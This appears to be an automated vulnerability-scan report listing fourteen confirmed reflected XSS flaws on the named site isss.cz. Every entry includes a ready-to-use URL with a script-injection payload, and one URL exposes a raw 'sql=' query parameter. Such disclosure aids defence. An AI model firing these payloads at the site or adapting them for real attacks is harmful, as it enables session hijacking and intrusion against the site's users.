isss.cz

XSS (Cross-site Scripting)

Severity: Important
Confirmation: Confirmed
URL: https://www.isss.cz/portal/login.asp?'"--></style></script><script>alert(0x00009C)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: Query Based
Parameter Type: FullQueryString
Attack Pattern: '"--></style></script><script>alert(0x00009C)</script>

Severity: Important
Confirmation: Confirmed
URL: https://www.isss.cz/portal/login.asp?req='"--></style></script><script>alert(0x000244)</script>&empty=1
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: req
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x000244)</script>

Severity: Important
Confirmation: Confirmed
URL: http://www.isss.cz/program.asp?subjekt='"--></style></script><script>alert(0x00023F)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: subjekt
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x00023F)</script>

Severity: Important
Confirmation: Confirmed
URL: https://www.isss.cz/portal/login.asp
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: req
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x000490)</script>

Severity: Important
Confirmation: Confirmed
URL: http://www.isss.cz/archiv/2012/program.asp?subjekt='"--></style></script><script>alert(0x000A53)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: subjekt
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x000A53)</script>

Severity: Important
Confirmation: Confirmed
URL:  http://www.isss.cz/archiv/2006/program.asp?subjekt='"--></style></script><script>alert(0x001345)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: subjekt
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x001345)</script>

Severity: Important
Confirmation: Confirmed
URL: http://www.isss.cz/archiv/2003/program.asp?subjekt='"--></style></script><script>alert(0x001560)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: subjekt
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x001560)</script>

Severity: Important
Confirmation: Confirmed
URL: http://www.isss.cz/archiv/2005/program.asp?subjekt='"--></style></script><script>alert(0x00170A)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: subjekt
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x00170A)</script>

Severity: Important
Confirmation: Confirmed
URL: http://www.isss.cz/archiv/2004/program.asp?subjekt='"--></style></script><script>alert(0x00190E)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: subjekt
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x00190E)</script>

Severity: Important
Confirmation: Confirmed
URL: http://www.isss.cz/archiv/2010/program.asp?subjekt='"--></style></script><script>alert(0x001FCF)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: subjekt
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x001FCF)</script>

Severity: Important
Confirmation: Confirmed
URL: http://www.isss.cz/archiv/2008/program.asp?subjekt='"--></style></script><script>alert(0x00204F)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: subjekt
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x00204F)</script>

Severity: Important
Confirmation: Confirmed
URL: http://www.isss.cz/backup.asp?from='"--></style></script><script>alert(0x002149)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: from
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x002149)</script>

Severity: Important
Confirmation: Confirmed
URL: http://www.isss.cz/archiv/2007/program.asp?subjekt='"--></style></script><script>alert(0x002170)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: subjekt
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x002170)</script>

Severity: Important
Confirmation: Confirmed
URL: http://www.isss.cz/archiv/2003/program.asp?nazev='"--></style></script><script>alert(0x00234F)</script>&sql=den=#03/24/2003# AND lokalita=18 AND cas>=#09:00:00# AND cas+delka<=#10:35:00#
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: nazev
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x00234F)</script>